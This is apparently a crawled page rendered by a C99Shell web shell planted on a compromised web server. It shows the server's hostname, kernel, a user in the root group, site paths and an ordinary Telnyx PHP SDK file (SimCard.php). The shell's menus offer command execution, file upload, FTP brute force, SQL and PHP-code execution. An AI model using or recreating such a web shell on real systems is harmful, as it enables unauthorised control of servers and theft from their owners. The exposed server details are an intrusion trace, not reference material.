!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/telnyx/telnyx-php/lib/   drwxr-xr-x
Free 29.26 GB of 117.98 GB (24.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SimCard.php (3.97 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Telnyx;

/**
 * Class SimCard
 *
 * @package Telnyx
 */
class SimCard extends ApiResource
{

    const 
OBJECT_NAME "sim_card";

    use 
ApiOperations\All;
    use 
ApiOperations\Retrieve;
    use 
ApiOperations\Update;

    
/**
     * Request a SIM card activation (DEPRECATED)
     *
     * @param array|null $params
     * @param array|string|null $options
     *
     * @return
     */
    
public function activate($params null$options null)
    {
        
$url $this->instanceUrl() . '/actions/activate';
        list(
$response$opts) = $this->_request('post'$url$params$options);
        
$this->refreshFrom($response$opts);
        return 
$this;
    }

    
/**
     * Request a SIM card deactivation (DEPRECATED)
     *
     * @param array|null $params
     * @param array|string|null $options
     *
     * @return
     */
    
public function deactivate($params null$options null)
    {
        
$url $this->instanceUrl() . '/actions/deactivate';
        list(
$response$opts) = $this->_request('post'$url$params$options);
        
$this->refreshFrom($response$opts);
        return 
$this;
    }

    
/**
     * Request a SIM card enable
     *
     * @param array|null $params
     * @param array|string|null $options
     *
     * @return
     */
    
public function enable($params null$options null)
    {
        
$url $this->instanceUrl() . '/actions/enable';
        list(
$response$opts) = $this->_request('post'$url$params$options);
        
$this->refreshFrom($response$opts);
        return 
$this;
    }

    
/**
     * Request a SIM card disable
     *
     * @param array|null $params
     * @param array|string|null $options
     *
     * @return
     */
    
public function disable($params null$options null)
    {
        
$url $this->instanceUrl() . '/actions/disable';
        list(
$response$opts) = $this->_request('post'$url$params$options);
        
$this->refreshFrom($response$opts);
        return 
$this;
    }

    
/**
     * Register the SIM cards associated with the provided registration codes to
     * the current user's account.
     *
     * @param array|null $params
     * @param array|string|null $options
     *
     * @return
     */
    
public static function register($params null$options null)
    {
        
self::_validateParams($params);
        
$url '/v2/actions/register/sim_cards';

        list(
$response$opts) = static::_staticRequest('post'$url$params$options);
        
$obj \Telnyx\Util\Util::convertToTelnyxObject($response->json$opts);
        return 
$obj;
    }

    
/**
     * Deletes the network preferences currently applied in the SIM card.
     *
     * @param string|null $id
     *
     * @return
     */
    
public static function delete_network_preferences($id)
    {
        
$url '/v2/sim_cards/' $id '/network_preferences';

        list(
$response$opts) = static::_staticRequest('delete'$urlnullnull);
        
$obj \Telnyx\Util\Util::convertToTelnyxObject($response->json$opts);
        return 
$obj;
    }

    
/**
     * Sets the network preferences currently applied in the SIM card.
     *
     * @param string|null $id
     *
     * @return
     */
    
public static function get_network_preferences($id)
    {
        
$url '/v2/sim_cards/' $id '/network_preferences';

        list(
$response$opts) = static::_staticRequest('get'$urlnullnull);
        
$obj \Telnyx\Util\Util::convertToTelnyxObject($response->json$opts);
        return 
$obj;
    }

    
/**
     * Returns the network preferences currently applied in the SIM card.
     *
     * @param string|null $id
     *
     * @return
     */
    
public static function set_network_preferences($id$params null$options null)
    {
        
$url '/v2/sim_cards/' $id '/network_preferences';

        list(
$response$opts) = static::_staticRequest('put'$url$params$options);
        
$obj \Telnyx\Util\Util::convertToTelnyxObject($response->json$opts);
        return 
$obj;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--